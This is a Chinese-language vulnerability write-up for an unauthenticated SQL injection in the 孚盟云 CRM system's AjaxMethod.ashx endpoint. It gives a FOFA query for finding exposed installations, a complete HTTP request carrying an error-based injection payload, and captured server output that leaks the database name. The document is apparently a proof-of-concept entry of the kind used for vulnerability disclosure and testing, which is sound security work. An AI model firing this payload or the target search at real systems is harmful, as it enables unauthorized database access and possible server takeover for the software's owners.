

# F10-2孚盟云-CRM系统-SQL

## 漏洞描述：

由于孚盟云 AjaxMethod.ashx、AjaxSendDingdingMessage.ashx等接口未对用户传入的参数进行合理的校验和过滤，导致传入的参数直接携带到数据库执行，导致SQL注入漏洞，未经身份验证的攻击者可通过此漏洞获取数据库权限，深入利用可获取服务器权限。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: app="孚盟软件-孚盟云"

## 漏洞复现：

### payload:

```
GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=1'+and+1=db_name()--+ HTTP/1.1
Host: your-ip
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
```

### 效果图：

Request

< > 数据包扫描 热加载 构造请求

1 GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=1'+and+1=db\_name()--+ HTTP/1.1

2 Host: 10.10.10.10:9090

3 X-Requested-With: XMLHttpRequest

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9

7 Connection: close

8 Content-Type: application/x-www-form-urlencoded

Responses 5874bytes / 158ms

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/10.0

5 X-AspNet-Version: 4.0.30319

6 X-Powered-By: ASP.NET

7 Date: Fri, 19 Jan 2024 15:13:01 GMT

8 Connection: close

9 Content-Length: 5874

10

11 <!DOCTYPE html>

12 <html>

13 <head>

14 <title>在将nvarchar值 'FumaCRM8' 转换为bcpemp时出错。请检查数据类型是否兼容。
FROM bcpemp WHERE upper(LoginUser)=

15 <meta name="viewport" content="width=device-width, initial-scale=1.0">

16 <style>

17 body {font-family: "Verdana"; font-size: 12px; color: #000000;}
p {font-family: "Verdana"; font-size: 12px; color: #000000;}
b {font-family: "Verdana"; font-size: 12px; color: #000000;}
H1 {font-family: "Verdana"; font-size: 12px; color: #000000;}
H2 {font-family: "Verdana"; font-size: 12px; color: #000000;}
pre {font-family: "Consolas", "Lucida Console", "Monospace"; font-size: 12px; color: #000000;}

18

19

20

21

22